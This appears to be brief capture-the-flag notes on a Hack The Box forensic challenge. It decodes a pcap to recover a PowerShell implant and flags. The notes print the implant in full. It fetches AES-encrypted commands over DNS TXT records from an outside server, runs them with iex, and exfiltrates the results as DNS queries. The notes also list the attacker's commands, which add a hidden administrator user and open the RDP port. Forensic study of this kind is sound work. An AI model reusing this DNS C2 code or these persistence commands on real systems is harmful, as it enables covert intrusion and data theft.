Automation(forensic challenge)

pcap file

first useful item

decoded payload

function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)

    }
    else {
        $aesManaged.IV = $IV

    }
}
if ($key) {

    if ($key.getType().Name -eq "String") {
        $aesManaged.Key = [System.Convert]::FromBase64String($key)
    }
    else {
        $aesManaged.Key = $key
    }
}
$aesManaged

}

function Create-AesKey() {

$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)

}

function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}

function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

filter parts($query) { $t = $; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}

#$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
$output = write-host $backToPlainText; $pr = Encrypt-String $key $output | parts 32

http.request.method == "GET"

PD.......... BA20E34AACC4774F067442C6622F5DA2.windowsliveupdater.com.....PD.......... BA20E34AACC4774F067442C6622F5DA2.windowsliveupdater.com..............,......

hostname

whoami

ipconfig

wmic /namespace:\\root\SecurityCenter PATH AntiVirusProduct GET /value

net user DefaultUsr "JHBhcnQxPSdIVEJ7eTB1X2M0bl8n" /add /Y; net localgroup Administrators /add DefaultUsr; net localgroup "Remote Desktop Users" /add DefaultUsr

netsh advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389

$part1='HTB{y0u_c4n_’

filtered on dns >32

exported as csv

cleaned up in sheets

CC1C9AC2958A2E63609272E2B4F8F436

32A806549B03AB7E4EB39771AEDA4A1B

C1006AC8A03F9776B08321BD6D5247BB

7679895D1CF7C07BB6A348E1AA4AFC65

5958A6856F1A34AAD5E97EA55B087670

35F2497E5836EA0ECA1F1280F59742A3

09E28DD82C14BC32513652DAC2F2C27B

0D73A3288A980D8FCEF94BDDCF9E2822

2A1CA17BB2D90FCD6158856348790414

20FC39C684A9E371CC3A06542B666005

5840BD94CCE65E23613925B4D9D2BA53

18EA75BC653004D45D505ED62567017A

6FA4E7593D83092F67A81082D9930E99

BA20E34AACC4774F067442C6622F5DA2

A9B09FF558A8DF000ECBD37804CE663E

3521599BC7591005AB6799C57068CF0D

C6884CECF01C0CD44FD6B82DB788B35D

62F02E4CAA1D973FBECC235AE9F40254

C63D3C93C89930DA2C4F42D9FC123D8B

AB00ACAB5198AFCC8C6ACD81B19CD264

CC6353668CEA4C88C8AEEA1D58980022

DA8FA2E917F17C28608818BF550FEA66

973B5A8355258AB0AA281AD88F5B9EB1

03AC666FE09A1D449736335C09484D27

1C301C6D5780AB2C9FA333BE3B0185BF

071FB1205C4DBEAA2241168B0748902A

6CE14903C7C47E7C87311044CB9873A4

ECABC349D27C0B0FFFD1ACEEDBE06BB6

C2EB000EE4F9B35D6F001500E85642A2

DCC8F1BE2CF4D667F458C1DE46D24B1C

2E0F5D94E52649C70402C1B0A2FF7B49

FC32DDD67F275307A74B2C4D0864B3F0

486186DA9443EB747F717B3911C959DC

7E300844D60655410C3988238E615D61

6F33D27F63CE4D1E065A416911BC50D4

58749599D2CB08DB561988EB2902E05D

9886FDDAC2BED6F6DA73637AD2F20CF1

99B8CE3D9DEE03C0180C7D1198B49C02

769E5EE4EAB896D7D3BB478EA1408167

79472A243BFB0852AF372323EC132988

3C81A3F2AEB1D3DAAE8496E1DBF97F43

5AE40A09203B890C4A174D77CB7026C4

E990A6FB6424A7501823AD31D3D6B634

4C7971C8D447C078C4471732AD881C39

4BC8B1A66E0BED43DDC359269B57D1D5

D68DCD2A608BF61716BB47D6FE4D5C9D

6E8BB2981F214A8234B0DD0210CA96EB

2D6322B0F7F3D748C4C9F8B80EFF5A69

21A3D1A8621A49F4D29BC9851D25230B

841BDB4E9E5F8BF721B58E8308177B57

2E9A015967DA5BF11AC9155FC2159C8F

610CD82F818B4BDF5E48722DAF4BEEEB

ABCE30583F503B484BF99020E28A1B8F

282A23FEB3A21C3AD89882F5AC0DD3D5

7D87875231652D0F4431EC37E51A09D5

7E2854D11003AB6E2F4BFB4F7E2477DA

A44FCA3BC6021777F03F139D458C0524

AE4ABE8A3A88D21DEEA071A72D65A35E

F158D9F025897D1843E37B7463EC7833

powershell key

kQ81Krqk0Nkk0wjv

first 16 of first dns query, utf8

$part1='HTB{y0u_c4n_’

$part2=4utom4t3_but_y0u_c4nt_h1de}